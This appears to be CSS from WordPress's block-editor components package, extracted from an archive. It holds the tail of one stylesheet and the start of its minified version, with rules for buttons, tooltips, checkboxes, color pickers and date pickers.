.components-toolbar-group > .components-button:last-of-type.has-icon, .components-accessible-toolbar .components-toolbar-group > div:last-child > .components-button.has-icon, .components-toolbar div:last-child .components-button.has-icon { min-width: 42px; padding-left: 6px; padding-right: 11px; } .components-accessible-toolbar .components-toolbar-group > .components-button:last-of-type.has-icon::before, .components-accessible-toolbar .components-toolbar-group > div:last-child > .components-button.has-icon::before, .components-toolbar div:last-child .components-button.has-icon::before { left: 2px; right: 8px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-of-type:last-of-type.has-icon, .components-accessible-toolbar .components-toolbar-group > div:first-child:last-child > .components-button.has-icon, .components-toolbar div:first-child:last-child > .components-button.has-icon { min-width: 48px; padding-left: 12px; padding-right: 12px; } .components-accessible-toolbar .components-toolbar-group > .components-button:first-of-type:last-of-type.has-icon::before, .components-accessible-toolbar .components-toolbar-group > div:first-child:last-child > .components-button.has-icon::before, .components-toolbar div:first-child:last-child > .components-button.has-icon::before { left: 8px; right: 8px; } .components-tooltip.components-popover { z-index: 1000002; } .components-tooltip.components-popover .components-popover__content { min-width: 0; } .components-tooltip .components-popover__content { background: #1e1e1e; border-radius: 2px; border-width: 0; color: #fff; white-space: nowrap; text-align: center; line-height: 1.4; font-size: 12px; box-shadow: none; } .components-tooltip .components-popover__content > div { padding: 4px 8px; } .components-tooltip__shortcut { display: inline-block; margin-left: 8px; } .disabled-element-wrapper { position: relative; } .disabled-element-wrapper .event-catcher { z-index: 100002; position: absolute; width: 100%; height: 100%; top: 0; left: 0; bottom: 0; right: 0; } .components-visually-hidden { border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } .components-visually-hidden:focus { background-color: #ddd; clip: auto !important; -webkit-clip-path: none; clip-path: none; color: #444; display: block; font-size: 1em; height: auto; left: 5px; line-height: normal; padding: 15px 23px 14px; text-decoration: none; top: 5px; width: auto; z-index: 100000; }css/dist/components/style.min.css000064400000331565151202620300013124 0ustar00@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__appear{animation-duration:1ms}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top left}.components-animate__appear.is-from-top.is-from-right{transform-origin:top right}.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{transform-origin:bottom left}.components-animate__appear.is-from-bottom.is-from-right{transform-origin:bottom right}@keyframes components-animate__appear-animation{0%{transform:translateY(-2em) scaleY(0) scaleX(0)}to{transform:translateY(0) scaleY(1) scaleX(1)}}.components-animate__slide-in{animation:components-animate__slide-in-animation .1s cubic-bezier(0,0,.2,1);animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__slide-in{animation-duration:1ms}}.components-animate__slide-in.is-from-left{transform:translateX(100%)}.components-animate__slide-in.is-from-right{transform:translateX(-100%)}@keyframes components-animate__slide-in-animation{to{transform:translateX(0)}}.components-animate__loading{animation:components-animate__loading 1.6s ease-in-out infinite}@keyframes components-animate__loading{0%{opacity:.5}50%{opacity:1}to{opacity:.5}}.components-autocomplete__popover .components-popover__content>div{padding:16px;min-width:220px}.components-autocomplete__result.components-button{display:flex;height:auto;min-height:36px;text-align:left;width:100%}.components-autocomplete__result.components-button.is-selected{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.components-button-group{display:inline-block}.components-button-group .components-button{border-radius:0;display:inline-flex;color:#1e1e1e;box-shadow:inset 0 0 0 1px #1e1e1e}.components-button-group .components-button+.components-button{margin-left:-1px}.components-button-group .components-button:first-child{border-radius:2px 0 0 2px}.components-button-group .components-button:last-child{border-radius:0 2px 2px 0}.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{position:relative;z-index:1}.components-button-group .components-button.is-primary{box-shadow:inset 0 0 0 1px #1e1e1e}.components-button{display:inline-flex;text-decoration:none;font-size:13px;margin:0;border:0;cursor:pointer;-webkit-appearance:none;background:none;transition:box-shadow .1s linear;height:36px;align-items:center;box-sizing:border-box;padding:6px 12px;border-radius:2px;color:#1e1e1e}@media (prefers-reduced-motion:reduce){.components-button{transition-duration:0s}}.components-button:hover,.components-button[aria-expanded=true]{color:#007cba;color:var(--wp-admin-theme-color)}.components-button[aria-disabled=true]:hover{color:initial}.components-button:focus:not(:disabled){box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid transparent}.components-button.is-primary{white-space:nowrap;background:#007cba;background:var(--wp-admin-theme-color);color:#fff;text-decoration:none;text-shadow:none;outline:1px solid transparent}.components-button.is-primary:hover:not(:disabled){background:#006ba1;background:var(--wp-admin-theme-color-darker-10);color:#fff}.components-button.is-primary:active:not(:disabled){background:#005a87;background:var(--wp-admin-theme-color-darker-20);border-color:#005a87;border-color:var(--wp-admin-theme-color-darker-20);color:#fff}.components-button.is-primary:focus:not(:disabled){box-shadow:inset 0 0 0 1px #fff,0 0 0 2px #007cba;box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{color:hsla(0,0%,100%,.4);background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color);opacity:1;outline:none}.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{box-shadow:0 0 0 1px #fff,0 0 0 3px #007cba;box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color)}.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{color:#fff;background-size:100px 100%;background-image:linear-gradient(-45deg,#007cba 33%,#005a87 0,#005a87 70%,#007cba 0);background-image:linear-gradient(-45deg,var(--wp-admin-theme-color) 33%,var(--wp-admin-theme-color-darker-20) 0,var(--wp-admin-theme-color-darker-20) 70%,var(--wp-admin-theme-color) 0);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-button.is-secondary,.components-button.is-tertiary{outline:1px solid transparent}.components-button.is-secondary:active:not(:disabled),.components-button.is-tertiary:active:not(:disabled){background:#ddd;color:#006ba1;color:var(--wp-admin-theme-color-darker-10);box-shadow:none}.components-button.is-secondary:hover:not(:disabled),.components-button.is-tertiary:hover:not(:disabled){color:#006ba1;color:var(--wp-admin-theme-color-darker-10);box-shadow:inset 0 0 0 1px #006ba1;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color-darker-10)}.components-button.is-secondary:disabled,.components-button.is-secondary[aria-disabled=true],.components-button.is-secondary[aria-disabled=true]:hover,.components-button.is-tertiary:disabled,.components-button.is-tertiary[aria-disabled=true],.components-button.is-tertiary[aria-disabled=true]:hover{color:#828282;background:#eaeaea;transform:none;opacity:1;box-shadow:none;outline:none}.components-button.is-secondary{box-shadow:inset 0 0 0 1px #007cba;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);outline:1px solid transparent}.components-button.is-secondary,.components-button.is-tertiary{white-space:nowrap;color:#007cba;color:var(--wp-admin-theme-color);background:transparent}.components-button.is-tertiary{padding:6px}.components-button.is-tertiary .dashicon{display:inline-block;flex:0 0 auto}.components-button.is-destructive{color:#cc1818;box-shadow:inset 0 0 0 1px #cc1818}.components-button.is-destructive:hover:not(:disabled){color:#710d0d;box-shadow:inset 0 0 0 1px #710d0d}.components-button.is-destructive:focus:not(:disabled){color:#007cba;color:var(--wp-admin-theme-color)}.components-button.is-destructive:active:not(:disabled){background:#ccc}.components-button.is-destructive.is-primary{color:#fff;background:#cc1818;box-shadow:inset 0 0 0 1px #cc1818}.components-button.is-destructive.is-primary:hover:not(:disabled){color:#fff;background:#710d0d;box-shadow:inset 0 0 0 1px #710d0d}.components-button.is-link{margin:0;padding:0;box-shadow:none;border:0;border-radius:0;background:none;outline:none;text-align:left;color:#0073aa;text-decoration:underline;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out;height:auto}@media (prefers-reduced-motion:reduce){.components-button.is-link{transition-duration:0s}}.components-button.is-link:active:not(:disabled),.components-button.is-link:hover:not(:disabled){color:#00a0d2;box-shadow:none}.components-button.is-link:focus{color:#124964;box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 var(--wp-admin-border-width-focus) 1px rgba(30,140,190,.8)}.components-button.is-link.is-destructive{color:#cc1818}.components-button.is-link.is-destructive:active:not(:disabled),.components-button.is-link.is-destructive:hover:not(:disabled){color:#710d0d;background:none}.components-button.is-link.is-destructive:focus:not(:disabled){color:#007cba;color:var(--wp-admin-theme-color)}.components-button:not([aria-disabled=true]):active{color:inherit}.components-button:disabled,.components-button[aria-disabled=true]{cursor:default;opacity:.3}.components-button.is-busy,.components-button.is-secondary.is-busy,.components-button.is-secondary.is-busy:disabled,.components-button.is-secondary.is-busy[aria-disabled=true]{animation:components-button__busy-animation 2.5s linear infinite;opacity:1;background-size:100px 100%;background-image:linear-gradient(-45deg,#fafafa 33%,#e0e0e0 0,#e0e0e0 70%,#fafafa 0)}.components-button.is-small{height:24px;line-height:22px;padding:0 8px;font-size:11px}.components-button.is-small.has-icon:not(.has-text){padding:0 8px;width:24px}.components-button.has-icon{padding:6px;min-width:36px;justify-content:center}.components-button.has-icon .dashicon{display:inline-block;flex:0 0 auto;margin-left:2px;margin-right:10px}.components-button.has-icon.has-text{justify-content:left}.components-button.has-icon.has-text svg{margin-right:8px}.components-button.is-pressed{color:#fff;background:#1e1e1e}.components-button.is-pressed:focus:not(:disabled){box-shadow:inset 0 0 0 1px #fff,0 0 0 2px #007cba;box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.components-button.is-pressed:hover:not(:disabled){color:#fff;background:#1e1e1e}.components-button svg{fill:currentColor;outline:none}.components-button .components-visually-hidden{height:auto}@keyframes components-button__busy-animation{0%{background-position:200px 0}}.components-checkbox-control__input[type=checkbox]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;font-size:16px;line-height:normal;border:1px solid #1e1e1e;transition:none;border-radius:2px;background:#fff;color:#1e1e1e;clear:none;cursor:pointer;display:inline-block;line-height:0;margin:0 4px 0 0;outline:0;padding:0!important;text-align:center;vertical-align:top;width:24px;height:24px;-webkit-appearance:none;appearance:none;transition:border-color .1s ease-in-out}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{font-size:13px;line-height:normal}}.components-checkbox-control__input[type=checkbox]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-checkbox-control__input[type=checkbox]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-checkbox-control__input[type=checkbox]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-checkbox-control__input[type=checkbox]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-checkbox-control__input[type=checkbox]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-3px -5px;color:#fff}@media (min-width:782px){.components-checkbox-control__input[type=checkbox]:checked:before,.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{margin:-4px 0 0 -5px}}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{content:"";float:left;display:inline-block;vertical-align:middle;width:16px;font:normal 30px/1 dashicons;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.components-checkbox-control__input[type=checkbox][aria-checked=mixed]:before{float:none;font-size:21px}}@media (min-width:600px){.components-checkbox-control__input[type=checkbox]{height:20px;width:20px}}@media (prefers-reduced-motion:reduce){.components-checkbox-control__input[type=checkbox]{transition-duration:0s}}.components-checkbox-control__input[type=checkbox]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.components-checkbox-control__input[type=checkbox]:checked{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-checkbox-control__input[type=checkbox]:checked::-ms-check{opacity:0}.components-checkbox-control__input[type=checkbox]:checked:before{content:none}.components-checkbox-control__input-container{position:relative;display:inline-block;margin-right:12px;vertical-align:middle;width:24px;height:24px}@media (min-width:600px){.components-checkbox-control__input-container{width:20px;height:20px}}svg.components-checkbox-control__checked{fill:#fff;cursor:pointer;position:absolute;left:0;top:0;width:24px;height:24px;-webkit-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none}@media (min-width:600px){svg.components-checkbox-control__checked{left:-2px;top:-2px}}.components-circular-option-picker{display:inline-block;width:100%;min-width:188px}.components-circular-option-picker .components-circular-option-picker__custom-clear-wrapper{display:flex;justify-content:flex-end}.components-circular-option-picker .components-circular-option-picker__swatches{margin-right:-12px}.components-circular-option-picker__option-wrapper{display:inline-block;height:28px;width:28px;margin-right:12px;margin-bottom:12px;vertical-align:top;transform:scale(1);transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option-wrapper{transition-duration:0s}}.components-circular-option-picker__option-wrapper:hover{transform:scale(1.2)}.components-circular-option-picker__option-wrapper>div{height:100%;width:100%}.components-circular-option-picker__option-wrapper:before{content:"";position:absolute;top:1px;left:1px;bottom:1px;right:1px;border-radius:50%;z-index:-1;background:url("data:image/svg+xml;charset=utf-8,%3Csvg width='28' height='28' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M6 8V6H4v2h2zm2 0V6h2v2H8zm2 8H8v-2h2v2zm2 0v-2h2v2h-2zm0 2v-2h-2v2H8v2h2v-2h2zm2 0v2h-2v-2h2zm2 0h-2v-2h2v2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2v2zm-2-4v-2h2v2h-2z' fill='%23555D65'/%3E%3Cpath d='M18 18v2h-2v-2h2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M8 10V8H6v2H4v2h2v2H4v2h2v2H4v2h2v2H4v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2v2h-2V4h-2v2h-2V4h-2v2h-2V4h-2v2h2v2h-2v2H8zm0 2v-2H6v2h2zm2 0v-2h2v2h-2zm0 2v-2H8v2H6v2h2v2H6v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h-2v2h-2V6h-2v2h-2v2h2v2h-2v2h-2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M4 0H2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v2H0v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2h-2V0h-2v2H8V0H6v2H4V0zm0 4V2H2v2h2zm2 0V2h2v2H6zm0 2V4H4v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2H2v2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h2v2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2v-2h-2v-2h2V8h-2V6h2V4h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2h-2V2h-2v2H8v2H6z' fill='%23555D65'/%3E%3C/svg%3E")}.components-circular-option-picker__option{display:inline-block;vertical-align:top;height:100%;width:100%;border:none;border-radius:50%;background:transparent;box-shadow:inset 0 0 0 14px;transition:box-shadow .1s ease;cursor:pointer}@media (prefers-reduced-motion:reduce){.components-circular-option-picker__option{transition-duration:0s}}.components-circular-option-picker__option:hover{box-shadow:inset 0 0 0 14px!important}.components-circular-option-picker__option.is-pressed{box-shadow:inset 0 0 0 4px;position:relative;z-index:1;overflow:visible}.components-circular-option-picker__option.is-pressed+svg{position:absolute;left:2px;top:2px;border-radius:50%;z-index:2;pointer-events:none}.components-circular-option-picker__option:after{content:"";position:absolute;top:-1px;left:-1px;bottom:-1px;right:-1px;border-radius:50%;box-shadow:inset 0 0 0 1px rgba(0,0,0,.2);border:1px solid transparent}.components-circular-option-picker__option:focus:after{content:"";border:2px solid #757575;width:32px;height:32px;position:absolute;top:-2px;left:-2px;border-radius:50%;box-shadow:inset 0 0 0 2px #fff}.components-circular-option-picker__option.components-button:focus{background-color:transparent;box-shadow:inset 0 0 0 14px;outline:none}.components-circular-option-picker__button-action .components-circular-option-picker__option{color:#fff;background:#fff}.components-circular-option-picker__dropdown-link-action{margin-right:16px}.components-circular-option-picker__dropdown-link-action .components-button{line-height:22px}.components-color-edit__color-option-main-area{display:flex;align-items:center}.components-color-edit__color-option-main-area div.components-circular-option-picker__option-wrapper{display:block;margin:8px}.components-color-edit__color-option.is-hover{background:#e0e0e0}.components-color-edit__cancel-button{float:right}.components-color-edit__color-option-color-name{width:100%}.components-color-edit__label-and-insert-container{display:flex;align-items:center;justify-content:space-between}.components-color-edit__insert-button{margin-top:-8px}.components-color-edit__hidden-control{position:relative;left:-9999px}.components-color-edit__color-option-color-name-input .components-base-control__field{margin-bottom:0;margin-right:8px}.components-color-edit__slug-input{margin-left:8px}.components-color-edit__reset-button{float:right}.component-color-indicator{width:25px;height:16px;margin-left:.8rem;border:1px solid #dadada;display:inline-block}.component-color-indicator+.component-color-indicator{margin-left:.5rem}.components-color-picker{width:100%}.components-color-picker *{box-sizing:border-box}.components-color-picker__saturation{width:100%;padding-bottom:55%;position:relative}.components-color-picker__body{padding:16px 16px 12px}.components-color-picker__controls{display:flex}.components-color-picker__alpha-pointer,.components-color-picker__hue-pointer,.components-color-picker__saturation-pointer{padding:0;position:absolute;cursor:pointer;box-shadow:none;border:none}.components-color-picker__swatch{margin-right:8px;width:32px;height:32px;border-radius:50%;position:relative;overflow:hidden;background-image:linear-gradient(45deg,#ddd 25%,transparent 0),linear-gradient(-45deg,#ddd 25%,transparent 0),linear-gradient(45deg,transparent 75%,#ddd 0),linear-gradient(-45deg,transparent 75%,#ddd 0);background-size:10px 10px;background-position:0 0,0 5px,5px -5px,-5px 0}.is-alpha-disabled .components-color-picker__swatch{width:12px;height:12px;margin-top:0}.components-color-picker__active{border-radius:50%;box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);z-index:2}.components-color-picker__active,.components-color-picker__saturation-black,.components-color-picker__saturation-color,.components-color-picker__saturation-white{position:absolute;top:0;left:0;right:0;bottom:0}.components-color-picker__saturation-color{overflow:visible}.components-color-picker__saturation-white{background:linear-gradient(90deg,#fff,hsla(0,0%,100%,0))}.components-color-picker__saturation-black{background:linear-gradient(0deg,#000,transparent)}.components-button.components-color-picker__saturation-pointer{width:14px;height:14px;padding:0;border-radius:50%;background-color:transparent;transform:translate(-50%,-50%);box-shadow:0 0 0 1px #fff,inset 0 0 0 1px #000,0 0 0 2px #000}.components-button.components-color-picker__saturation-pointer:focus:not(:disabled){box-shadow:0 0 0 2px #fff,inset 0 0 0 1px #000,0 0 0 3px #000}.components-color-picker__toggles{flex:1}.components-color-picker__alpha{background-image:linear-gradient(45deg,#ddd 25%,transparent 0),linear-gradient(-45deg,#ddd 25%,transparent 0),linear-gradient(45deg,transparent 75%,#ddd 0),linear-gradient(-45deg,transparent 75%,#ddd 0);background-size:10px 10px;background-position:0 0,0 5px,5px -5px,-5px 0}.components-color-picker__alpha-gradient,.components-color-picker__hue-gradient{position:absolute;top:0;left:0;right:0;bottom:0}.components-color-picker__alpha,.components-color-picker__hue{height:12px;position:relative}.is-alpha-enabled .components-color-picker__hue{margin-bottom:8px}.components-color-picker__alpha-bar,.components-color-picker__hue-bar{position:relative;margin:0 3px;height:100%;padding:0 2px}.components-color-picker__hue-gradient{background:linear-gradient(90deg,red 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,red)}.components-color-picker__alpha-pointer,.components-color-picker__hue-pointer{left:0;width:14px;height:14px;border-radius:50%;box-shadow:0 1px 4px 0 rgba(0,0,0,.37);background:#fff;transform:translate(-7px,-1px)}.components-color-picker__hue-pointer,.components-color-picker__saturation-pointer{transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.components-color-picker__hue-pointer,.components-color-picker__saturation-pointer{transition-duration:0s}}.components-color-picker__saturation-pointer:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba,0 0 5px 0 #007cba,inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4);box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color),0 0 5px 0 var(--wp-admin-theme-color),inset 0 0 1px 1px rgba(0,0,0,.3),0 0 1px 2px rgba(0,0,0,.4)}.components-color-picker__alpha-pointer:focus,.components-color-picker__hue-pointer:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 2px #007cba,0 0 3px 0 #007cba;box-shadow:0 0 0 2px var(--wp-admin-theme-color),0 0 3px 0 var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:-2px}.components-color-picker__inputs-wrapper{margin:0 -4px;padding-top:16px;display:flex;align-items:flex-end;min-width:255px}.components-color-picker__inputs-wrapper fieldset{flex:1;border:none;margin:0;padding:0}.components-color-picker__inputs-wrapper .components-color-picker__inputs-fields .components-text-control__input[type=number]{padding:6px 3px;margin:0}.components-color-picker__inputs-field{width:100%}.components-color-picker__inputs-fields{display:flex;direction:ltr;flex-grow:1;margin-right:4px}.components-color-picker__inputs-fields .components-base-control+.components-base-control{margin-top:0}.components-color-picker__inputs-fields .components-base-control__field{margin:0 2px}.components-color-picker__inputs-toggle{height:30px;padding:0 5px}.components-combobox-control{width:100%}input.components-combobox-control__input[type=text]{width:100%;border:none;box-shadow:none;font-size:16px;padding:2px;margin:0;line-height:inherit;min-height:auto}@media (min-width:600px){input.components-combobox-control__input[type=text]{font-size:13px}}input.components-combobox-control__input[type=text]:focus{outline:none;box-shadow:none}.components-combobox-control__suggestions-container{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;display:flex;flex-wrap:wrap;align-items:flex-start;width:100%;margin:0 0 8px;padding:4px}@media (prefers-reduced-motion:reduce){.components-combobox-control__suggestions-container{transition-duration:0s}}@media (min-width:600px){.components-combobox-control__suggestions-container{font-size:13px;line-height:normal}}.components-combobox-control__suggestions-container:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-combobox-control__suggestions-container::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-combobox-control__suggestions-container::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-combobox-control__suggestions-container:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-combobox-control__suggestions-container::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-combobox-control__suggestions-container::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-combobox-control__suggestions-container:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-combobox-control__suggestions-container:focus-within{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-combobox-control__reset.components-button{display:flex;height:24px;min-width:24px;padding:0}.components-custom-gradient-picker__gradient-bar:not(.has-gradient){opacity:.4}.components-custom-gradient-picker__gradient-bar{margin-top:12px;width:100%;height:36px;border-radius:36px;margin-bottom:12px;padding-left:6px;padding-right:30px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__markers-container{position:relative}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point{border-radius:50%;background:#fff;padding:2px;top:6px;min-width:24px;width:24px;height:24px;position:relative;color:#1e1e1e}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__insert-point svg{height:100%;width:100%}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button{border:2px solid transparent;box-shadow:inset 0 0 0 2px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff;border-radius:50%;height:24px;width:24px;padding:0;position:absolute;top:6px}.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button.is-active,.components-custom-gradient-picker__gradient-bar .components-custom-gradient-picker__control-point-button:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #1e1e1e}.components-custom-gradient-picker__color-picker-popover .components-custom-gradient-picker__remove-control-point{margin-left:auto;margin-right:auto;display:block;margin-bottom:8px}.components-custom-gradient-picker__inserter{width:100%}.components-custom-gradient-picker__liner-gradient-indicator{display:inline-block;flex:0 auto;width:20px;height:20px}.components-custom-gradient-picker .components-custom-gradient-picker__ui-line{margin-bottom:16px}.components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-angle-picker,.components-custom-gradient-picker .components-custom-gradient-picker__ui-line .components-base-control.components-custom-gradient-picker__type-picker{margin-bottom:0}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar{border:none}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar>div+div{margin-left:1px}.components-custom-gradient-picker .components-custom-gradient-picker__toolbar button.is-pressed>svg{background:#fff;border:1px solid #949494;border-radius:2px}.components-custom-select-control{position:relative}.components-custom-select-control__label{display:block;margin-bottom:8px}.components-custom-select-control__button{border:1px solid #757575;border-radius:2px;min-height:30px;min-width:130px;position:relative;text-align:left}.components-custom-select-control__button.components-custom-select-control__button{padding-right:24px}.components-custom-select-control__button:focus:not(:disabled){border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-custom-select-control__button .components-custom-select-control__button-icon{height:100%;padding:0;position:absolute;right:0;top:0}.components-custom-select-control__menu{border:1px solid #1e1e1e;background-color:#fff;border-radius:2px;outline:none;transition:none;max-height:400px;min-width:100%;overflow:auto;padding:0;position:absolute;z-index:1000000}.components-custom-select-control__menu[aria-hidden=true]{display:none}.components-custom-select-control__item{align-items:center;display:flex;list-style-type:none;padding:8px;cursor:default;line-height:28px}.components-custom-select-control__item.is-highlighted{background:#ddd}.components-custom-select-control__item .components-custom-select-control__item-icon{margin-right:0;margin-left:auto}.components-custom-select-control__item:last-child{margin-bottom:0}.PresetDateRangePicker_panel{padding:0 22px 11px}.PresetDateRangePicker_button{position:relative;height:100%;text-align:center;background:0 0;border:2px solid #00a699;color:#00a699;padding:4px 12px;margin-right:8px;font:inherit;font-weight:700;line-height:normal;overflow:visible;box-sizing:border-box;cursor:pointer}.PresetDateRangePicker_button:active{outline:0}.PresetDateRangePicker_button__selected{color:#fff;background:#00a699}.SingleDatePickerInput{display:inline-block;background-color:#fff}.SingleDatePickerInput__withBorder{border-radius:2px;border:1px solid #dbdbdb}.SingleDatePickerInput__rtl{direction:rtl}.SingleDatePickerInput__disabled{background-color:#f2f2f2}.SingleDatePickerInput__block{display:block}.SingleDatePickerInput__showClearDate{padding-right:30px}.SingleDatePickerInput_clearDate{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;padding:10px;margin:0 10px 0 